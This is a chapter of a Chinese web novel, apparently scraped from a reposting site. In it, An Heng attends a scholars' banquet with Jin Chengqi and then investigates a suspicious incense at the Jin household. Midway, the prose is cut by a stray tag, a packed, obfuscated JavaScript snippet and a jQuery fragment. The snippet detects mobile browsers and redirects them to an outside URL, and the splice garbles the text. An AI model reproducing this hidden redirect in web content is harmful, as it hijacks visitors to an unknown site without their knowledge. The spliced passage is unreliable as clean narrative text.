满甫楼是清海县最大最豪华的酒楼,占据着清海中心最豪华的商业位置。
本地的文人墨客与富商常在此处开设宴席,当中菜品酒水昂贵,令普通百姓望而却步。
据金诚戚所言,文宴是清海县官家与学院联合举行。
金老爷暗示过他此次文宴比试更多在于从学院中挑选出拥有超群才华与眼光见解之年轻人。
本朝为朝廷官场选择新鲜血液途径不多,最常行的就是每三年一次的科考。
文宴挑选出的年轻人会得到前辈和官家的关注,与这些人交好在其身上进行投入。
若是有人往后真的能够通过考试,得到一官半职,同为朝廷官员,相互之间有什么事也更方便打点。
整个酒楼一层大厅被金诚戚学院包下,现在离文宴开始还有段时间,已有不少看上去举止端方的书生进入宴席,找了位置坐下闲谈。
安蘅和文竹跟着金诚戚,在被门口的守卫检查过请帖后踏进了装修精致的酒楼。
刚一进入,诸多留意着门口的人都齐齐望了过来,见来人是金诚戚,纷纷站起身涌了上来。
三人被乌泱泱的人群围住进退不得,面前的人们争先恐后向金诚戚自荐。
金诚戚拉着安蘅的衣袖,两个人弓着腰挤出人群,徒留文竹被困在原地朝着上方喊着:“少爷!少爷!”
围住他们的人群看不清最中心的状况,也不知道令他们前仆后继的金家二少爷已经带着人溜走,仍然围得门口水泄不通。
安蘅扯了扯袖子,想挣脱金诚戚的动作,没成功,干脆就顺着他一路跑来了二楼。
二楼的环境比一楼更甚,人却没那么多,想来是专门留给像金诚戚这种有些许背景的学子而坐。
金诚戚拉着她来到一处座位前,视线开阔,从这里能够一览酒楼一楼的风景,特别是大门。
安蘅趴在二楼的扶栏上张望,门口的人群已经被酒楼的人疏散,头发乱糟糟的文竹正提着一堆东西东张西望寻找金诚戚。
“金兄,你来了。”一道男音从二人身后传来。
安蘅回头,是一位同样身着浅青色长袍的男子,但衣料远不如金诚戚所用华贵。
金诚戚挡在了安蘅面前,朝那男子拱手:“姚兄。”
那姚姓男子挑眉看向他的动作,转而将视线转到安蘅身上。
“金兄此次回家倒是再没回过学院了,这位姑娘是?”
安蘅的穿着并不似金家丫鬟,刚刚那一出他也是全程看在眼里,金诚戚却又对她颇为上心……
他对着金诚戚意味深长笑了一下。
金诚戚一见他的表情就明白对方在想什么,朝安蘅投来慌乱的一眼,见她并没在意这才瞪向对方,警告他不要在此处胡言乱语。
安蘅觉得此人实在无聊,想巴结金诚戚的念头都快蹦出来了,装得实在是拙劣,如此还想要把话题引向自己。
陆续来了不少人一个个拜会金诚戚,若有似无的拍着马屁打探消息。
金诚戚应付着这些人,安蘅就继续趴在扶栏上看着一楼众人的动作。
本想着能看到文人们勾心斗角她还很高兴,没想到听到这些奉承的话语竟然如此令人烦躁。
真是无趣。
文竹也终于发现二人在此,背着竹筐跑来了二楼。
楼下的众人突然停止交流安静下来,匆匆回到各自位置上。
文宴开始了。
大致就是以击鼓传花的形式来敲定回答问题之人,问题全由学院提供,同一个问题回答的最好的那个人,就能获得各自的奖励。
一些人散会后则会留在酒楼,大多数人心里清楚,这就是他们这些平民学子最有机会接触官场之人的机会,都跃跃欲试。
安蘅对于诗词文据方面并不精通,安家灭门前安父也给她找过教书先生,可她实在对此毫无兴趣,除了当初被逼着读过的诗词还记得,其他也真的不懂。
相比读那些文绉绉的书,她更喜欢跑出去玩,投壶射箭、划船、蹴鞠,这些她倒是很精通。
就在安蘅伴随着文人交流声与回答声发呆之时,身边的金诚戚突然用手戳了下她的手臂。
安蘅收回神,回过头,金诚戚朝她挑了下眉,果然,下一秒他就拍了拍衣摆站起了身。
她刚刚没在意,原来轮到金诚戚了。
整个酒楼的人齐齐看向安蘅三人的方向等待着这位金家二公子的回答。
学院的老师和蔼地对着金诚戚重复了一遍问题。
“外敌来犯,边塞民不聊生,若是陛下让你做一个决定,来解决此事,你会如何做?”
杀他个片甲不留。
安蘅低下眸子在心里默默回答。
近些年西匈愈发猖狂,安蘅在下人院子里也能偶尔听到有人在讨论,虽然大多是跟着灾害一起寥寥几句带过,却也能窥见其中的严峻。
灾害和边塞侵扰连绵不断,这里的百姓倒是还好,那些偏远地区的百姓可就遭难了。
金诚戚开始回答,安蘅听了点,内容大概是化用了什么典故,主张有退有进。
是个很好很巧妙的回答。
虽然最后的结论仍然是以和为贵、相互签订契约,令安蘅有点失望。
不过从底下众人和学院老师的表情来看,金诚戚的回答大概很合如今文人官员的思想。
那老师赞扬了一番金诚戚并请他坐下,刚一坐下,他就扭头一脸得意对着安蘅。
安蘅一看就知道他的意思,嘴巴微张,瞪圆了眼睛,一脸崇拜望着他:“二少爷,你真厉害。”
于是金诚戚嘴巴一勾,高高兴兴的转过了身。
安蘅仿佛又看见他那根无形的尾巴在摇晃了。
后面的宴会就没什么意思了,一连轮到的几个人回答都不如金诚戚,看来这次文宴比赛的头筹是他的了。
安蘅没兴趣听下去,手伸进袖子里,指尖从藏在袖子中的尼子香上掰了点碎渣,慢慢碾碎,感受触感,放在鼻子下面闻,开始回忆澜静院内的各种物品和金元臻的那堆东西。
院子里的东西在她眼前闪现,还未等安蘅在记忆中找出些什么,文宴结束了。
现在已是戌时末,天色很晚,金诚戚说安蘅是姑娘还是早些回去好,于是就接过放着奖励的木盒后带着二人告别了学院的老师,匆匆离开了酒楼。
总之以金诚戚的背景,也不需要这所谓的结交。
安蘅在之前的小酒楼换回了那套小厮的服装,三人回到了金府。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326661|183257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
金府的家宴还没结束,想来也确实,县里各大族共同齐聚一堂的机会可是很少见,更不用说他们这些官员应该早已经得到金老爷不日回京的消息。
此时不巴结更待何时?
也所幸如此,否则谁知道金洪林会不会在门口等着金诚戚回来。
毕竟他之前就和安蘅说过每次休息回家,金洪林总是早早等在门口,迫不及待询问学院的成绩。
若不是今日金家有家宴,安蘅是绝对不会同意跟着金诚戚偷溜出门的,哪怕需要接触香铺。
她瞥向金诚戚,发现他一副松了口气的样子,不禁有些无语,这人居然没考虑到这个因素吗?
这次回来金府门口的守卫倒是没检查,看见安蘅手上捧着的木盒,对着金诚戚连连恭喜,得了他的赏钱后就快速放三人进门。
三人绕过热闹的前厅,远离了喧嚣行至一处拐角,从这里再拐个弯就是下人院子,方便安蘅回屋换衣服。
此次出门文宴其次,最重要的香薰问题问清楚了,她颠了下手中的竹筐,里面装着金诚戚给她买的各种东西,也确实得了不少好处。
安蘅对着金诚戚和文竹真情实感道了谢,二人目送她过了拐角才离去。
回到院子,连曲此时并不在,不知道金元臻是否还在家宴,安蘅换回丫鬟衣服,将那套小厮服塞进了竹筐中,跟着那堆东西一起藏进床底。
来到澜静院,里面点着灯,看起来金元臻和连曲就在屋子里。
金元臻去了家宴,可人太多、太过吵闹,哪怕她十分想看请来的杂技班子和歌舞,也实在待不下去,用完膳后就带着连曲回了院子。
见安蘅回来,一下子精神起来,抓着她询问学院的文宴细节。
金洪林一直秉持女子不必读太多书,在两位小姐学完基本的诗词后就不再请夫子,二小姐金元庭常年去的学堂也只会教那些女子琴棋书画这些才艺。
而身子不好的金元臻更不用说,一直待在这小院子中,上次受伤前也只有上山礼佛是才被批准出门。
她对所谓的学院兴趣很高,安蘅尽可能回忆酒楼的细节和那些文人的各类回答,争取给她描述详尽。
金元臻听得津津有味时不时赞叹,这才想起来安蘅出门的主要目的是香铺。
“知衡,关于香,你有问到什么吗?”
安蘅把从老板那得到的讯息告诉了她,并将自己的猜想也传达给她。
金元臻紧锁眉头思索,安蘅从袖中拿出那支香,与房间中檀木匣子中的对比,不出意料,一模一样。
金家没动手脚。
连曲招呼着她,正在从金元臻的梳妆柜里往外掏首饰,她摇了摇头,这些她都看过了,什么多余的东西都没加。
她走到房间门口,看着头顶悬挂的月亮,打算呼吸下新鲜空气清醒一下脑袋,鼻尖闻到了一阵花香。
是院中小花圃的香味,澜静院因为这花圃,院内很好闻,她进了金府后一直很喜欢,也常跟着金元臻和连曲去修理花枝。
她猛地吸了吸香味,正准备回屋,表情突然一凝,转过头,眉头紧锁,目光灼灼盯着那建在院角落的小花圃。
幽白的月光映照下,白日里争奇夺艳的花丛此刻却显得阴森无比。